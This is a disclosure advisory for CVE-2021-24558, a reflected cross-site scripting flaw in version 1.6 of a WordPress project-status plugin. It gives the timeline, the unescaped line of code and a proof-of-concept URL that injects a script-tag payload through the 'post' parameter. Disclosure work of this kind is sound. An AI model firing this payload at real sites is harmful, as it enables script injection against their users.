Wp Plugin Project Status

Plugin Details

Plugin Name: wp-plugin : project-status
Effected Version : 1.6 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Subscriber
CVE Number : CVE-2021-24558
Identified by : Shreya Pohekar
WPScan Reference URL

Disclosure Timeline

- May 14, 2021: Issue Identified and Disclosed to WPScan
- May 19, 2021 : Plugin Closed
- July 20, 2021 : CVE Assigned
- July 23, 2021 : Public Disclosure

Technical Details

The URL generated after the post creation takes in GET parameter `post` that is not properly sanitised, validated or escaped that leads to Cross-site scripting.

Vulnerable_code: includes/clone/duplicate-post-admin.php#L187

```
187:    wp_die(esc_attr(__('Copy creation failed, could not find original:', pspin_duplicate_post_I18N_DOMAIN)) . ' ' . $id);
```

PoC Screenshot

Exploit

```
http://<Hostname>/wp-admin/admin.php?action=pspin_duplicate_post_save_as_new_post_draft&post=%3Cscript%3Ealert(document.domain
```